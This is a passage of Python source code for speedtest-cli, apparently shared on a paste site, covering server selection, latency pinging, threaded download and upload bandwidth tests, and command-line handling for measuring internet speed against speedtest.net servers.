  1042.         """Download the speedtest.net configuration and return only the data
  1043.        we are interested in
  1044.        """
  1045.  
  1046.         headers = {}
  1047.         if gzip:
  1048.             headers['Accept-Encoding'] = 'gzip'
  1049.         request = build_request('://www.speedtest.net/speedtest-config.php',
  1050.                                 headers=headers, secure=self._secure)
  1051.         uh, e = catch_request(request, opener=self._opener)
  1052.         if e:
  1053.             raise ConfigRetrievalError(e)
  1054.         configxml_list = []
  1055.  
  1056.         stream = get_response_stream(uh)
  1057.  
  1058.         while 1:
  1059.             try:
  1060.                 configxml_list.append(stream.read(1024))
  1061.             except (OSError, EOFError):
  1062.                 raise ConfigRetrievalError(get_exception())
  1063.             if len(configxml_list[-1]) == 0:
  1064.                 break
  1065.         stream.close()
  1066.         uh.close()
  1067.  
  1068.         if int(uh.code) != 200:
  1069.             return None
  1070.  
  1071.         configxml = ''.encode().join(configxml_list)
  1072.  
  1073.         printer('Config XML:\n%s' % configxml, debug=True)
  1074.  
  1075.         try:
  1076.             try:
  1077.                 root = ET.fromstring(configxml)
  1078.             except ET.ParseError:
  1079.                 e = get_exception()
  1080.                 raise SpeedtestConfigError(
  1081.                     'Malformed speedtest.net configuration: %s' % e
  1082.                 )
  1083.             server_config = root.find('server-config').attrib
  1084.             download = root.find('download').attrib
  1085.             upload = root.find('upload').attrib
  1086.             # times = root.find('times').attrib
  1087.             client = root.find('client').attrib
  1088.  
  1089.         except AttributeError:
  1090.             try:
  1091.                 root = DOM.parseString(configxml)
  1092.             except ExpatError:
  1093.                 e = get_exception()
  1094.                 raise SpeedtestConfigError(
  1095.                     'Malformed speedtest.net configuration: %s' % e
  1096.                 )
  1097.             server_config = get_attributes_by_tag_name(root, 'server-config')
  1098.             download = get_attributes_by_tag_name(root, 'download')
  1099.             upload = get_attributes_by_tag_name(root, 'upload')
  1100.             # times = get_attributes_by_tag_name(root, 'times')
  1101.             client = get_attributes_by_tag_name(root, 'client')
  1102.  
  1103.         ignore_servers = list(
  1104.             map(int, server_config['ignoreids'].split(','))
  1105.         )
  1106.  
  1107.         ratio = int(upload['ratio'])
  1108.         upload_max = int(upload['maxchunkcount'])
  1109.         up_sizes = [32768, 65536, 131072, 262144, 524288, 1048576, 7340032]
  1110.         sizes = {
  1111.             'upload': up_sizes[ratio - 1:],
  1112.             'download': [350, 500, 750, 1000, 1500, 2000, 2500,
  1113.                          3000, 3500, 4000]
  1114.         }
  1115.  
  1116.         size_count = len(sizes['upload'])
  1117.  
  1118.         upload_count = int(math.ceil(upload_max / size_count))
  1119.  
  1120.         counts = {
  1121.             'upload': upload_count,
  1122.             'download': int(download['threadsperurl'])
  1123.         }
  1124.  
  1125.         threads = {
  1126.             'upload': int(upload['threads']),
  1127.             'download': int(server_config['threadcount']) * 2
  1128.         }
  1129.  
  1130.         length = {
  1131.             'upload': int(upload['testlength']),
  1132.             'download': int(download['testlength'])
  1133.         }
  1134.  
  1135.         self.config.update({
  1136.             'client': client,
  1137.             'ignore_servers': ignore_servers,
  1138.             'sizes': sizes,
  1139.             'counts': counts,
  1140.             'threads': threads,
  1141.             'length': length,
  1142.             'upload_max': upload_count * size_count
  1143.         })
  1144.  
  1145.         try:
  1146.             self.lat_lon = (float(client['lat']), float(client['lon']))
  1147.         except ValueError:
  1148.             raise SpeedtestConfigError(
  1149.                 'Unknown location: lat=%r lon=%r' %
  1150.                 (client.get('lat'), client.get('lon'))
  1151.             )
  1152.  
  1153.         printer('Config:\n%r' % self.config, debug=True)
  1154.  
  1155.         return self.config
  1156.  
  1157.     def get_servers(self, servers=None, exclude=None):
  1158.         """Retrieve a the list of speedtest.net servers, optionally filtered
  1159.        to servers matching those specified in the ``servers`` argument
  1160.        """
  1161.         if servers is None:
  1162.             servers = []
  1163.  
  1164.         if exclude is None:
  1165.             exclude = []
  1166.  
  1167.         self.servers.clear()
  1168.  
  1169.         for server_list in (servers, exclude):
  1170.             for i, s in enumerate(server_list):
  1171.                 try:
  1172.                     server_list[i] = int(s)
  1173.                 except ValueError:
  1174.                     raise InvalidServerIDType(
  1175.                         '%s is an invalid server type, must be int' % s
  1176.                     )
  1177.  
  1178.         urls = [
  1179.             '://www.speedtest.net/speedtest-servers-static.php',
  1180.             'http://c.speedtest.net/speedtest-servers-static.php',
  1181.             '://www.speedtest.net/speedtest-servers.php',
  1182.             'http://c.speedtest.net/speedtest-servers.php',
  1183.         ]
  1184.  
  1185.         headers = {}
  1186.         if gzip:
  1187.             headers['Accept-Encoding'] = 'gzip'
  1188.  
  1189.         errors = []
  1190.         for url in urls:
  1191.             try:
  1192.                 request = build_request(
  1193.                     '%s?threads=%s' % (url,
  1194.                                        self.config['threads']['download']),
  1195.                     headers=headers,
  1196.                     secure=self._secure
  1197.                 )
  1198.                 uh, e = catch_request(request, opener=self._opener)
  1199.                 if e:
  1200.                     errors.append('%s' % e)
  1201.                     raise ServersRetrievalError()
  1202.  
  1203.                 stream = get_response_stream(uh)
  1204.  
  1205.                 serversxml_list = []
  1206.                 while 1:
  1207.                     try:
  1208.                         serversxml_list.append(stream.read(1024))
  1209.                     except (OSError, EOFError):
  1210.                         raise ServersRetrievalError(get_exception())
  1211.                     if len(serversxml_list[-1]) == 0:
  1212.                         break
  1213.  
  1214.                 stream.close()
  1215.                 uh.close()
  1216.  
  1217.                 if int(uh.code) != 200:
  1218.                     raise ServersRetrievalError()
  1219.  
  1220.                 serversxml = ''.encode().join(serversxml_list)
  1221.  
  1222.                 printer('Servers XML:\n%s' % serversxml, debug=True)
  1223.  
  1224.                 try:
  1225.                     try:
  1226.                         try:
  1227.                             root = ET.fromstring(serversxml)
  1228.                         except ET.ParseError:
  1229.                             e = get_exception()
  1230.                             raise SpeedtestServersError(
  1231.                                 'Malformed speedtest.net server list: %s' % e
  1232.                             )
  1233.                         elements = root.getiterator('server')
  1234.                     except AttributeError:
  1235.                         try:
  1236.                             root = DOM.parseString(serversxml)
  1237.                         except ExpatError:
  1238.                             e = get_exception()
  1239.                             raise SpeedtestServersError(
  1240.                                 'Malformed speedtest.net server list: %s' % e
  1241.                             )
  1242.                         elements = root.getElementsByTagName('server')
  1243.                 except (SyntaxError, xml.parsers.expat.ExpatError):
  1244.                     raise ServersRetrievalError()
  1245.  
  1246.                 for server in elements:
  1247.                     try:
  1248.                         attrib = server.attrib
  1249.                     except AttributeError:
  1250.                         attrib = dict(list(server.attributes.items()))
  1251.  
  1252.                     if servers and int(attrib.get('id')) not in servers:
  1253.                         continue
  1254.  
  1255.                     if (int(attrib.get('id')) in self.config['ignore_servers']
  1256.                             or int(attrib.get('id')) in exclude):
  1257.                         continue
  1258.  
  1259.                     try:
  1260.                         d = distance(self.lat_lon,
  1261.                                      (float(attrib.get('lat')),
  1262.                                       float(attrib.get('lon'))))
  1263.                     except Exception:
  1264.                         continue
  1265.  
  1266.                     attrib['d'] = d
  1267.  
  1268.                     try:
  1269.                         self.servers[d].append(attrib)
  1270.                     except KeyError:
  1271.                         self.servers[d] = [attrib]
  1272.  
  1273.                 break
  1274.  
  1275.             except ServersRetrievalError:
  1276.                 continue
  1277.  
  1278.         if (servers or exclude) and not self.servers:
  1279.             raise NoMatchedServers()
  1280.  
  1281.         return self.servers
  1282.  
  1283.     def set_mini_server(self, server):
  1284.         """Instead of querying for a list of servers, set a link to a
  1285.        speedtest mini server
  1286.        """
  1287.  
  1288.         urlparts = urlparse(server)
  1289.  
  1290.         name, ext = os.path.splitext(urlparts[2])
  1291.         if ext:
  1292.             url = os.path.dirname(server)
  1293.         else:
  1294.             url = server
  1295.  
  1296.         request = build_request(url)
  1297.         uh, e = catch_request(request, opener=self._opener)
  1298.         if e:
  1299.             raise SpeedtestMiniConnectFailure('Failed to connect to %s' %
  1300.                                               server)
  1301.         else:
  1302.             text = uh.read()
  1303.             uh.close()
  1304.  
  1305.         extension = re.findall('upload_?[Ee]xtension: "([^"]+)"',
  1306.                                text.decode())
  1307.         if not extension:
  1308.             for ext in ['php', 'asp', 'aspx', 'jsp']:
  1309.                 try:
  1310.                     f = self._opener.open(
  1311.                         '%s/speedtest/upload.%s' % (url, ext)
  1312.                     )
  1313.                 except Exception:
  1314.                     pass
  1315.                 else:
  1316.                     data = f.read().strip().decode()
  1317.                     if (f.code == 200 and
  1318.                             len(data.splitlines()) == 1 and
  1319.                             re.match('size=[0-9]', data)):
  1320.                         extension = [ext]
  1321.                         break
  1322.         if not urlparts or not extension:
  1323.             raise InvalidSpeedtestMiniServer('Invalid Speedtest Mini Server: '
  1324.                                              '%s' % server)
  1325.  
  1326.         self.servers = [{
  1327.             'sponsor': 'Speedtest Mini',
  1328.             'name': urlparts[1],
  1329.             'd': 0,
  1330.             'url': '%s/speedtest/upload.%s' % (url.rstrip('/'), extension[0]),
  1331.             'latency': 0,
  1332.             'id': 0
  1333.         }]
  1334.  
  1335.         return self.servers
  1336.  
  1337.     def get_closest_servers(self, limit=5):
  1338.         """Limit servers to the closest speedtest.net servers based on
  1339.        geographic distance
  1340.        """
  1341.  
  1342.         if not self.servers:
  1343.             self.get_servers()
  1344.  
  1345.         for d in sorted(self.servers.keys()):
  1346.             for s in self.servers[d]:
  1347.                 self.closest.append(s)
  1348.                 if len(self.closest) == limit:
  1349.                     break
  1350.             else:
  1351.                 continue
  1352.             break
  1353.  
  1354.         printer('Closest Servers:\n%r' % self.closest, debug=True)
  1355.         return self.closest
  1356.  
  1357.     def get_best_server(self, servers=None):
  1358.         """Perform a speedtest.net "ping" to determine which speedtest.net
  1359.        server has the lowest latency
  1360.        """
  1361.  
  1362.         if not servers:
  1363.             if not self.closest:
  1364.                 servers = self.get_closest_servers()
  1365.             servers = self.closest
  1366.  
  1367.         if self._source_address:
  1368.             source_address_tuple = (self._source_address, 0)
  1369.         else:
  1370.             source_address_tuple = None
  1371.  
  1372.         user_agent = build_user_agent()
  1373.  
  1374.         results = {}
  1375.         for server in servers:
  1376.             cum = []
  1377.             url = os.path.dirname(server['url'])
  1378.             stamp = int(timeit.time.time() * 1000)
  1379.             latency_url = '%s/latency.txt?x=%s' % (url, stamp)
  1380.             for i in range(0, 3):
  1381.                 this_latency_url = '%s.%s' % (latency_url, i)
  1382.                 printer('%s %s' % ('GET', this_latency_url),
  1383.                         debug=True)
  1384.                 urlparts = urlparse(latency_url)
  1385.                 try:
  1386.                     if urlparts[0] == 'https':
  1387.                         h = SpeedtestHTTPSConnection(
  1388.                             urlparts[1],
  1389.                             source_address=source_address_tuple
  1390.                         )
  1391.                     else:
  1392.                         h = SpeedtestHTTPConnection(
  1393.                             urlparts[1],
  1394.                             source_address=source_address_tuple
  1395.                         )
  1396.                     headers = {'User-Agent': user_agent}
  1397.                     path = '%s?%s' % (urlparts[2], urlparts[4])
  1398.                     start = timeit.default_timer()
  1399.                     h.request("GET", path, headers=headers)
  1400.                     r = h.getresponse()
  1401.                     total = (timeit.default_timer() - start)
  1402.                 except HTTP_ERRORS:
  1403.                     e = get_exception()
  1404.                     printer('ERROR: %r' % e, debug=True)
  1405.                     cum.append(3600)
  1406.                     continue
  1407.  
  1408.                 text = r.read(9)
  1409.                 if int(r.status) == 200 and text == 'test=test'.encode():
  1410.                     cum.append(total)
  1411.                 else:
  1412.                     cum.append(3600)
  1413.                 h.close()
  1414.  
  1415.             avg = round((sum(cum) / 6) * 1000.0, 3)
  1416.             results[avg] = server
  1417.  
  1418.         try:
  1419.             fastest = sorted(results.keys())[0]
  1420.         except IndexError:
  1421.             raise SpeedtestBestServerFailure('Unable to connect to servers to '
  1422.                                              'test latency.')
  1423.         best = results[fastest]
  1424.         best['latency'] = fastest
  1425.  
  1426.         self.results.ping = fastest
  1427.         self.results.server = best
  1428.  
  1429.         self._best.update(best)
  1430.         printer('Best Server:\n%r' % best, debug=True)
  1431.         return best
  1432.  
  1433.     def download(self, callback=do_nothing):
  1434.         """Test download speed against speedtest.net"""
  1435.  
  1436.         urls = []
  1437.         for size in self.config['sizes']['download']:
  1438.             for _ in range(0, self.config['counts']['download']):
  1439.                 urls.append('%s/random%sx%s.jpg' %
  1440.                             (os.path.dirname(self.best['url']), size, size))
  1441.  
  1442.         request_count = len(urls)
  1443.         requests = []
  1444.         for i, url in enumerate(urls):
  1445.             requests.append(
  1446.                 build_request(url, bump=i, secure=self._secure)
  1447.             )
  1448.  
  1449.         def producer(q, requests, request_count):
  1450.             for i, request in enumerate(requests):
  1451.                 thread = HTTPDownloader(
  1452.                     i,
  1453.                     request,
  1454.                     start,
  1455.                     self.config['length']['download'],
  1456.                     opener=self._opener,
  1457.                     shutdown_event=self._shutdown_event
  1458.                 )
  1459.                 thread.start()
  1460.                 q.put(thread, True)
  1461.                 callback(i, request_count, start=True)
  1462.  
  1463.         finished = []
  1464.  
  1465.         def consumer(q, request_count):
  1466.             while len(finished) < request_count:
  1467.                 thread = q.get(True)
  1468.                 while thread.isAlive():
  1469.                     thread.join(timeout=0.1)
  1470.                 finished.append(sum(thread.result))
  1471.                 callback(thread.i, request_count, end=True)
  1472.  
  1473.         q = Queue(self.config['threads']['download'])
  1474.         prod_thread = threading.Thread(target=producer,
  1475.                                        args=(q, requests, request_count))
  1476.         cons_thread = threading.Thread(target=consumer,
  1477.                                        args=(q, request_count))
  1478.         start = timeit.default_timer()
  1479.         prod_thread.start()
  1480.         cons_thread.start()
  1481.         while prod_thread.isAlive():
  1482.             prod_thread.join(timeout=0.1)
  1483.         while cons_thread.isAlive():
  1484.             cons_thread.join(timeout=0.1)
  1485.  
  1486.         stop = timeit.default_timer()
  1487.         self.results.bytes_received = sum(finished)
  1488.         self.results.download = (
  1489.             (self.results.bytes_received / (stop - start)) * 8.0
  1490.         )
  1491.         if self.results.download > 100000:
  1492.             self.config['threads']['upload'] = 8
  1493.         return self.results.download
  1494.  
  1495.     def upload(self, callback=do_nothing, pre_allocate=True):
  1496.         """Test upload speed against speedtest.net"""
  1497.  
  1498.         sizes = []
  1499.  
  1500.         for size in self.config['sizes']['upload']:
  1501.             for _ in range(0, self.config['counts']['upload']):
  1502.                 sizes.append(size)
  1503.  
  1504.         # request_count = len(sizes)
  1505.         request_count = self.config['upload_max']
  1506.  
  1507.         requests = []
  1508.         for i, size in enumerate(sizes):
  1509.             # We set ``0`` for ``start`` and handle setting the actual
  1510.             # ``start`` in ``HTTPUploader`` to get better measurements
  1511.             data = HTTPUploaderData(
  1512.                 size,
  1513.                 0,
  1514.                 self.config['length']['upload'],
  1515.                 shutdown_event=self._shutdown_event
  1516.             )
  1517.             if pre_allocate:
  1518.                 data.pre_allocate()
  1519.             requests.append(
  1520.                 (
  1521.                     build_request(self.best['url'], data, secure=self._secure),
  1522.                     size
  1523.                 )
  1524.             )
  1525.  
  1526.         def producer(q, requests, request_count):
  1527.             for i, request in enumerate(requests[:request_count]):
  1528.                 thread = HTTPUploader(
  1529.                     i,
  1530.                     request[0],
  1531.                     start,
  1532.                     request[1],
  1533.                     self.config['length']['upload'],
  1534.                     opener=self._opener,
  1535.                     shutdown_event=self._shutdown_event
  1536.                 )
  1537.                 thread.start()
  1538.                 q.put(thread, True)
  1539.                 callback(i, request_count, start=True)
  1540.  
  1541.         finished = []
  1542.  
  1543.         def consumer(q, request_count):
  1544.             while len(finished) < request_count:
  1545.                 thread = q.get(True)
  1546.                 while thread.isAlive():
  1547.                     thread.join(timeout=0.1)
  1548.                 finished.append(thread.result)
  1549.                 callback(thread.i, request_count, end=True)
  1550.  
  1551.         q = Queue(self.config['threads']['upload'])
  1552.         prod_thread = threading.Thread(target=producer,
  1553.                                        args=(q, requests, request_count))
  1554.         cons_thread = threading.Thread(target=consumer,
  1555.                                        args=(q, request_count))
  1556.         start = timeit.default_timer()
  1557.         prod_thread.start()
  1558.         cons_thread.start()
  1559.         while prod_thread.isAlive():
  1560.             prod_thread.join(timeout=0.1)
  1561.         while cons_thread.isAlive():
  1562.             cons_thread.join(timeout=0.1)
  1563.  
  1564.         stop = timeit.default_timer()
  1565.         self.results.bytes_sent = sum(finished)
  1566.         self.results.upload = (
  1567.             (self.results.bytes_sent / (stop - start)) * 8.0
  1568.         )
  1569.         return self.results.upload
  1570.  
  1571.  
  1572. def ctrl_c(shutdown_event):
  1573.     """Catch Ctrl-C key sequence and set a SHUTDOWN_EVENT for our threaded
  1574.    operations
  1575.    """
  1576.     def inner(signum, frame):
  1577.         shutdown_event.set()
  1578.         printer('\nCancelling...', error=True)
  1579.         sys.exit(0)
  1580.     return inner
  1581.  
  1582.  
  1583. def version():
  1584.     """Print the version"""
  1585.  
  1586.     printer(__version__)
  1587.     sys.exit(0)
  1588.  
  1589.  
  1590. def csv_header(delimiter=','):
  1591.     """Print the CSV Headers"""
  1592.  
  1593.     printer(SpeedtestResults.csv_header(delimiter=delimiter))
  1594.     sys.exit(0)
  1595.  
  1596.  
  1597. def parse_args():
  1598.     """Function to handle building and parsing of command line arguments"""
  1599.     description = (
  1600.         'Command line interface for testing internet bandwidth using '
  1601.         'speedtest.net.\n'
  1602.         '------------------------------------------------------------'
  1603.         '--------------\n'
  1604.         'https://github.com/sivel/speedtest-cli')
  1605.  
  1606.     parser = ArgParser(description=description)
  1607.     # Give optparse.OptionParser an `add_argument` method for
  1608.     # compatibility with argparse.ArgumentParser
  1609.     try:
  1610.         parser.add_argument = parser.add_option
  1611.     except AttributeError:
  1612.         pass
  1613.     parser.add_argument('--no-download', dest='download', default=True,
  1614.                         action='store_const', const=False,
  1615.                         help='Do not perform download test')
  1616.     parser.add_argument('--no-upload', dest='upload', default=True,
  1617.                         action='store_const', const=False,
  1618.                         help='Do not perform upload test')
  1619.     parser.add_argument('--bytes', dest='units', action='store_const',
  1620.                         const=('byte', 8), default=('bit', 1),
  1621.                         help='Display values in bytes instead of bits. Does '
  1622.                              'not affect the image generated by --share, nor '
  1623.                              'output from --json or --csv')
  1624.     parser.add_argument('--share', action='store_true',
  1625.                         help='Generate and provide a URL to the speedtest.net '
  1626.                              'share results image, not displayed with --csv')
  1627.     parser.add_argument('--simple', action='store_true', default=False,
  1628.                         help='Suppress verbose output, only show basic '
  1629.                              'information')
  1630.     parser.add_argument('--csv', action='store_true', default=False,
  1631.                         help='Suppress verbose output, only show basic '
  1632.                              'information in CSV format. Speeds listed in '
  1633.                              'bit/s and not affected by --bytes')
  1634.     parser.add_argument('--csv-delimiter', default=',', type=PARSER_TYPE_STR,
  1635.                         help='Single character delimiter to use in CSV '
  1636.                              'output. Default ","')
  1637.     parser.add_argument('--csv-header', action='store_true', default=False,
  1638.                         help='Print CSV headers')
  1639.     parser.add_argument('--json', action='store_true', default=False,
  1640.                         help='Suppress verbose output, only show basic '
  1641.                              'information in JSON format. Speeds listed in '
  1642.                              'bit/s and not affected by --bytes')
  1643.     parser.add_argument('--list', action='store_true',
  1644.                         help='Display a list of speedtest.net servers '
  1645.                              'sorted by distance')
  1646.     parser.add_argument('--server', type=PARSER_TYPE_INT, action='append',
  1647.                         help='Specify a server ID to test against. Can be '
  1648.                              'supplied multiple times')
  1649.     parser.add_argument('--exclude', type=PARSER_TYPE_INT, action='append',
  1650.                         help='Exclude a server from selection. Can be '
  1651.                              'supplied multiple times')
  1652.     parser.add_argument('--mini', help='URL of the Speedtest Mini server')
  1653.     parser.add_argument('--source', help='Source IP address to bind to')
  1654.     parser.add_argument('--timeout', default=10, type=PARSER_TYPE_FLOAT,
  1655.                         help='HTTP timeout in seconds. Default 10')
  1656.     parser.add_argument('--secure', action='store_true',
  1657.                         help='Use HTTPS instead of HTTP when communicating '
  1658.                              'with speedtest.net operated servers')
  1659.     parser.add_argument('--no-pre-allocate', dest='pre_allocate',
  1660.                         action='store_const', default=True, const=False,
  1661.                         help='Do not pre allocate upload data. Pre allocation '
  1662.                              'is enabled by default to improve upload '
  1663.                              'performance. To support systems with '
  1664.                              'insufficient memory, use this option to avoid a '
  1665.                              'MemoryError')
  1666.     parser.add_argument('--version', action='store_true',
  1667.                         help='Show the version number and exit')
  1668.     parser.add_argument('--debug', action='store_true',
  1669.                         help=ARG_SUPPRESS, default=ARG_SUPPRESS)
  1670.  
  1671.     options = parser.parse_args()
  1672.     if isinstance(options, tuple):
  1673.         args = options[0]
  1674.     else:
  1675.         args = options
  1676.     return args
  1677.  
  1678.  
  1679. def validate_optional_args(args):
  1680.     """Check if an argument was provided that depends on a module that may
  1681.    not be part of the Python standard library.
  1682.  
  1683.    If such an argument is supplied, and the module does not exist, exit
  1684.    with an error stating which module is missing.
  1685.    """
  1686.     optional_args = {
  1687.         'json': ('json/simplejson python module', json),
  1688.         'secure': ('SSL support', HTTPSConnection),
  1689.     }
  1690.  
  1691.     for arg, info in optional_args.items():
  1692.         if getattr(args, arg, False) and info[1] is None:
  1693.             raise SystemExit('%s is not installed. --%s is '
  1694.                              'unavailable' % (info[0], arg))
  1695.  
  1696.  
  1697. def printer(string, quiet=False, debug=False, error=False, **kwargs):
  1698.     """Helper function print a string with various features"""
  1699.  
  1700.     if debug and not DEBUG:
  1701.         return
  1702.  
  1703.     if debug:
  1704.         if sys.stdout.isatty():
  1705.             out = '\033[1;30mDEBUG: %s\033[0m' % string
  1706.         else:
  1707.             out = 'DEBUG: %s' % string
  1708.     else:
  1709.         out = string
  1710.  
  1711.     if error:
  1712.         kwargs['file'] = sys.stderr
  1713.  
  1714.     if not quiet:
  1715.         print_(out, **kwargs)
  1716.  
  1717.  
  1718. def shell():
  1719.     """Run the full speedtest.net test"""
  1720.  
  1721.     global DEBUG
  1722.     shutdown_event = threading.Event()
  1723.  
  1724.     signal.signal(signal.SIGINT, ctrl_c(shutdown_event))
  1725.  
  1726.     args = parse_args()
  1727.  
  1728.     # Print the version and exit
  1729.     if args.version:
  1730.         version()
  1731.  
  1732.     if not args.download and not args.upload:
  1733.         raise SpeedtestCLIError('Cannot supply both --no-download and '
  1734.                                 '--no-upload')
  1735.  
  1736.     if len(args.csv_delimiter) != 1:
  1737.         raise SpeedtestCLIError('--csv-delimiter must be a single character')
  1738.  
  1739.     if args.csv_header:
  1740.         csv_header(args.csv_delimiter)
  1741.  
  1742.     validate_optional_args(args)
  1743.  
  1744.     debug = getattr(args, 'debug', False)
  1745.     if debug == 'SUPPRESSHELP':
  1746.         debug = False
  1747.     if debug:
  1748.         DEBUG = True
  1749.  
  1750.     if args.simple or args.csv or args.json:
  1751.         quiet = True
  1752.     else:
  1753.         quiet = False
  1754.  
  1755.     if args.csv or args.json:
  1756.         machine_format = True
  1757.     else:
  1758.         machine_format = False
  1759.  
  1760.     # Don't set a callback if we are running quietly
  1761.     if quiet or debug:
  1762.         callback = do_nothing
  1763.     else:
  1764.         callback = print_dots(shutdown_event)
  1765.  
  1766.     printer('Retrieving speedtest.net configuration...', quiet)
  1767.     try:
  1768.         speedtest = Speedtest(
  1769.             source_address=args.source,
  1770.             timeout=args.timeout,
  1771.             secure=args.secure
  1772.         )
  1773.     except (ConfigRetrievalError,) + HTTP_ERRORS:
  1774.         printer('Cannot retrieve speedtest configuration', error=True)
  1775.         raise SpeedtestCLIError(get_exception())
  1776.  
  1777.     if args.list:
  1778.         try:
  1779.             speedtest.get_servers()
  1780.         except (ServersRetrievalError,) + HTTP_ERRORS:
  1781.             printer('Cannot retrieve speedtest server list', error=True)
  1782.             raise SpeedtestCLIError(get_exception())
  1783.  
  1784.         for _, servers in sorted(speedtest.servers.items()):
  1785.             for server in servers:
  1786.                 line = ('%(id)5s) %(sponsor)s (%(name)s, %(country)s) '
  1787.                         '[%(d)0.2f km]' % server)
  1788.                 try:
  1789.                     printer(line)
  1790.                 except IOError:
  1791.                     e = get_exception()
  1792.                     if e.errno != errno.EPIPE:
  1793.                         raise
  1794.         sys.exit(0)
  1795.  
  1796.     printer('Testing from %(isp)s (%(ip)s)...' % speedtest.config['client'],
  1797.             quiet)
  1798.  
  1799.     if not args.mini:
  1800.         printer('Retrieving speedtest.net server list...', quiet)
  1801.         try:
  1802.             speedtest.get_servers(servers=args.server, exclude=args.exclude)
  1803.         except NoMatchedServers:
  1804.             raise SpeedtestCLIError(
  1805.                 'No matched servers: %s' %
  1806.                 ', '.join('%s' % s for s in args.server)
  1807.             )
  1808.         except (ServersRetrievalError,) + HTTP_ERRORS:
  1809.             printer('Cannot retrieve speedtest server list', error=True)
  1810.             raise SpeedtestCLIError(get_exception())
  1811.         except InvalidServerIDType:
  1812.             raise SpeedtestCLIError(
  1813.                 '%s is an invalid server type, must '
  1814.                 'be an int' % ', '.join('%s' % s for s in args.server)
  1815.             )
  1816.  
  1817.         if args.server and len(args.server) == 1:
  1818.             printer('Retrieving information for the selected server...', quiet)
  1819.         else:
  1820.             printer('Selecting best server based on ping...', quiet)
  1821.         speedtest.get_best_server()
  1822.     elif args.mini:
  1823.         speedtest.get_best_server(speedtest.set_mini_server(args.mini))
  1824.  
  1825.     results = speedtest.results
  1826.  
  1827.     printer('Hosted by %(sponsor)s (%(name)s) [%(d)0.2f km]: '
  1828.             '%(latency)s ms' % results.server, quiet)
  1829.  
  1830.     if args.download:
  1831.         printer('Testing download speed', quiet,
  1832.                 end=('', '\n')[bool(debug)])
  1833.         speedtest.download(callback=callback)
  1834.         printer('Download: %0.2f M%s/s' %
  1835.                 ((results.download / 1000.0 / 1000.0) / args.units[1],
  1836.                  args.units[0]),
  1837.                 quiet)
  1838.     else:
  1839.         printer('Skipping download test', quiet)
  1840.  
  1841.     if args.upload:
  1842.         printer('Testing upload speed', quiet,
  1843.                 end=('', '\n')[bool(debug)])
  1844.         speedtest.upload(callback=callback, pre_allocate=args.pre_allocate)
  1845.         printer('Upload: %0.2f M%s/s' %
  1846.                 ((results.upload / 1000.0 / 1000.0) / args.units[1],
  1847.                  args.units[0]),
  1848.                 quiet)
  1849.     else:
  1850.         printer('Skipping upload test', quiet)
  1851.  
  1852.     printer('Results:\n%r' % results.dict(), debug=True)
  1853.  
  1854.     if not args.simple and args.share:
  1855.         results.share()
  1856.  
  1857.     if args.simple:
  1858.         printer('Ping: %s ms\nDownload: %0.2f M%s/s\nUpload: %0.2f M%s/s' %
  1859.                 (results.ping,
  1860.                  (results.download / 1000.0 / 1000.0) / args.units[1],
  1861.                  args.units[0],
  1862.                  (results.upload / 1000.0 / 1000.0) / args.units[1],
  1863.                  args.units[0]))
  1864.     elif args.csv:
  1865.         printer(results.csv(delimiter=args.csv_delimiter))
  1866.     elif args.json:
  1867.         printer(results.json())
  1868.  
  1869.     if args.share and not machine_format:
  1870.         printer('Share results: %s' % results.share())
  1871.  
  1872.  
  1873. def main():
  1874.     try:
  1875.         shell()
  1876.     except KeyboardInterrupt:
  1877.         printer('\nCancelling...', error=True)
  1878.     except (SpeedtestException, SystemExit):
  1879.         e = get_exception()
  1880.         # Ignore a successful exit, or argparse exit
  1881.         if getattr(e, 'code', 1) not in (0, 2):
  1882.             raise SystemExit('ERROR: %s' % e)
  1883.  
  1884.  
  1885. if __name__ == '__main__':
  1886.     main()
Add Comment
Please, Sign In to add comment